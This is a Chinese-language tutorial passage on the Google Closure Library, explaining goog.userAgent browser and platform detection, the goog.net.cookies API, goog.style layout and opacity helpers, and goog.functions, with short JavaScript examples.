- // TODO(user): Overwriting the filter might have undesired side effects.
- if (alpha === '') {
- style.filter = '';
- } else {
- style.filter = 'alpha(opacity=' + alpha * 100 + ')';
- }
- }
- };
对不不能像上面设置时,可以用goog.userAgent,下面是goog.style.setPreWrap()的实现:
- /**
- * @param {Element} el Element to enable pre-wrap for.
- */
- goog.style.setPreWrap = function(el) {
- var style = el.style;
- if (goog.userAgent.IE && !goog.userAgent.isVersion('8')) {
- style.whiteSpace = 'pre';
- style.wordWrap = 'break-word';
- } else if (goog.userAgent.GECKO) {
- style.whiteSpace = '-moz-pre-wrap';
- } else if (goog.userAgent.OPERA) {
- style.whiteSpace = '-o-pre-wrap';
- } else {
- style.whiteSpace = 'pre-wrap';
- }
- };
平台常量
和引挚渲染常量一样,goog.userAgent有在代码运行时判断平台的常量:
goog.userAgent值 | 编译时常量 | 描述 |
WINDOWS | ASSUME_WINDOWS | 当javascript运行在window系统上时返回true |
MAC | ASSUME_MAC | 当javascript运行在Macintosh系统上时返回true |
LINUX | ASSUME_LINUX | 当javascript运行在Linux上时返回true |
X11 | ASSUME_X11 | 当javascript运行在X11系统上时返回true |
这些常量可用在网站基于不同平台下载时可用:
- var label;
- if (goog.userAgent.WINDOWS) {
- label = 'Windows';
- } else if (goog.userAgent.MAC) {
- label = 'Mac';
- } else if (goog.userAgent.LINUX) {
- label = 'Linux';
- }
- if (label) {
- goog.dom.getElement('download').innerHTML = '<a href="/download?platform=' +
- label + '">Download the latest version for ' + label + '</a>';
- }
goog.userAgent.isVersion(version)
当一个版本小于或等于于另一版本时返回true,它用goog.string.compareVersions比较器比较。它比较渲染引挚版本而不是浏览器版本,由于渲染引挚一般维护早期版本支持,因此当版本小于或等于goog.userAgent.VERSION时都返回true。下面判断浏览器是否支持透明PNG:
- var hasSupportForTransparentPng = function() {
- if (goog.userAgent.IE) {
- // This will not have the desired behavior!
- return !goog.userAgent.isVersion(6);
- } else {
- return true;
- }
- };
- if (goog.userAgent.IE) {
- return goog.userAgent.isVersion(7);
- }
- ar isInternetExplorer6 = goog.userAgent.IE &&
- goog.userAgent.isVersion(6) && !goog.userAgent.isVersion(7);
goog.userAgent.product
和goog.userAgent一样,goog.userAgent.product也是用来在运行时判断代码运行环境。不一样的时,goog.userAgent.product在库中很少使用,实际上根本没被使用。这并不是说它没用,这在用来判断Iphone和Android设备时很有用,因为们们有不同的自定义API支持。尽管Closure目标是适应所有现代浏览器,但对于你自己的应用程序这是很有重要的。
goog.userAgent.product值 | 编译时常量 | 描述 |
ANDROID | goog.userAgent. product.ASSUME_ANDROID | --define goog.userAgent.ASSUME_MOBILE_WEBKIT应与Android phone. If ASSUME_ANDROID同时使用 |
IPHONE | goog.userAgent. product.ASSUME_IPHONE | --define goog.userAgent.ASSUME_MOBILE_WEBKIT应与它同时存在 |
IPAD | goog.userAgent. product.ASSUME_IPAD | --define goog.userAgent.ASSUME_MOBILE_WEBKIT应与它同时存在 |
FIREFOX | goog.userAgent. product.ASSUME_FIREFOX | --define goog.userAgent.ASSUME_GECKO应与它同时存在 |
CAMINO | goog.userAgent. product.ASSUME_CAMINO | --define goog.userAgent.ASSUME_GECKO应与它同时存在 |
SAFARI | goog.userAgent. product.ASSUME_SAFARI | --define goog.userAgent.ASSUME_WEBKIT应与它同时存在 |
CHROME | goog.userAgent. product.ASSUME_CHROME | --define goog.userAgent.ASSUME_WEBKIT 应与它同时存在 |
IE | goog.userAgent.ASSUME_IE | |
OPERA | goog.userAgent. ASSUME_OPERA |
goog.net.cookies
goog.net.cookies是用来设置,获取,删除cookies的一系列方法。在javascript中,一般通过document.cookie来操作浏览器cookie,但是由于document.cookie的api在使用起来很不方便,而且会让人迷惑,它通过getter和setter方法来处理值,通过setter的值和getter并不一定一样。
goog.net.cookies.isEnabled()
cookie可用时返回true,或者返回false,也可以通过window.navigator.cookieEnabled直接检查此值,但是goog.net.cookies.isEnabled()新加了一些处理浏览bug的逻辑。
goog.net.cookies.set(name, value, opt_maxAge, opt_path,opt_domain)
设置cookie值,对于opt_path和opt_domain浏览器会提供默认值,默认值为/和页面所在主机。opt_maxAge设置cookie保存最大时间,默认为-1,当opt_maxAge小于0时,cookie的过期属性不会有用,此时它就相当于会话cookie。
goog.net.cookies.get(name, opt_default)
返回name匹配的第一个值,如果找不到就返回opt_default, opt_default默认为undefined。
goog.net.cookies.remove(name, opt_path, opt_domain)
删除一条cookie,虽然可以通过goog.set.cookie.set()将value设为‘’和将opt_maxAge设为0,但最好还是用此方法。
goog.style
goog.style提供一些处理元素样式的方法,因为不同浏览器处理位置和样式有很多不同,因此在内部goog.style使用了goog.userAgent这个比较重的对象。
goog.style.getPageOffset(element)
返回元素相对于所在HTML文档top left位置的 goog.math.Coordinate 对象。看起来好像能直接计算,但由于不同浏览器实现,这使用计算相当复杂,许多博客中都按如下实现:
- var getPageOffset = function(element) {
- var point = { x: 0, y: 0 };
- var parent = element;
- do {
- point.x += parent.offsetLeft;
- point.y += parent.offsetTop;
- } while (parent = parent.offsetParent);
- return point;
- };
goog.style.getSize(element)
返回一个元素宽高的goog.math.Size对象,即使当前元素display属性是“none”,对于隐藏元素,它通常临时将其显示出来,测试完后再隐藏。
goog.style.getBounds(element)
根据goog.style.getPageOffset 和goog.style.getSize返回一个a goog.math.Rect对象
goog.style.setOpacity(element, opacity)
将元素的opactity属性设置为opacity, 它的值为0到1之间的数,或设为空串来请除此属性。goog.style.getOpacity(element) 返回元素opacity属性值。
oog.style.setPreWrap(element)
将空格CSS样式设为pre_wrap这种跨浏览器形式。对于不同浏览器有不同pre-wrap样式名,因此此就去会根据用户代理不同来设置值。
goog.style.setInlineBlock(element)
将一个元素display设为:inline-block。设置成此样式,元素能显示成内联块,和块元素一样能有大小 ,但它们和相邻元素出现在同一行,不幸的是,并不是所有浏览器都支持此属性,它这种情况下就得用其它CSS样式来完成此功能。
goog/css/common.css提供了一种跨浏览器设置此值的参考,名为goog-inline-block, 许多Closure UI组件依赖goog-inline-block,因此需要将此文件复制到你的项目中。如果goog-inline-block可用,就可以使用如下方法:
- oog.dom.classes.add(element, 'goog-inline-block');
由于没有goog.style.removeInlineBlock方法移除此属性,只能通过下面方式实现:
- goog.dom.classes.remove(element, 'goog-inline-block');
goog.style.setUnselectable(element, unselectable, opt_noRecurse)
设置元素是否能被选择。用 goog.style.isUnselectable(element)来判断是否被选择
goog.style.installStyles(stylesString, opt_node)
如果opt_node未设置,将对window安装样式,返回一个Element或StyleSheet,并可以被goog.style.setStyles 或 goog.style.uninstallStyles使用
- var robotsTheme = 'body { background-color: gray; color: black }';
- var sunsetTheme = 'body { background-color: orange; color: red }';
- // Adds the "robot" theme to the page.
- var stylesEl = goog.style.installStyles(robotsTheme);
- // Replaces the "robot" theme with the "sunset" theme.
- goog.style.setStyles(stylesEl, sunsetTheme);
- // Removes the "sunset" theme.
- goog.style.uninstallStyles(stylesEl);
能在不重新加载页面下改变样式,Gmail通过这种方式切换主题。
goog.style.scrollIntoContainerView(element, container, opt_center)
将滚动条移到元素可视位置,如果opt_center为true,元素将移到容器中间。
这和scrollIntoView方法很像,只是goog.style.scrollIntoContainerView 能保证水平方向也能滚动。
goog.functions
包含函数生成函数的方法,在javascript中,函数频繁地作为另一些函数的参数,第三章介绍了goog.nullFunction ,也介绍了在回调被忽略时能使用它,如果回调不能忽略,可以用goog.functions来生成此回调方法。
goog.functions.TRUE
它是一个直返回true的函数。它不能用在函数参数中。
goog.functions.constant(value)
创建新的函数并返回value。可以创建goog.functions.TRUE相似的函数:
- var functionThatAlwaysReturnsTrue = goog.functions.constant(true);
goog.functions.error(message)
创建一个一直抛出一个给定消息错误的函数。也可以用goog.functions.error代替goog.abstractMethod,但这是不鼓励的,因此Closure编译器对goog.abstractMethod有特别的处理逻辑,goog.abstractMethod能维护一个语义上抽象方法声明,但是goog.functions.error不能。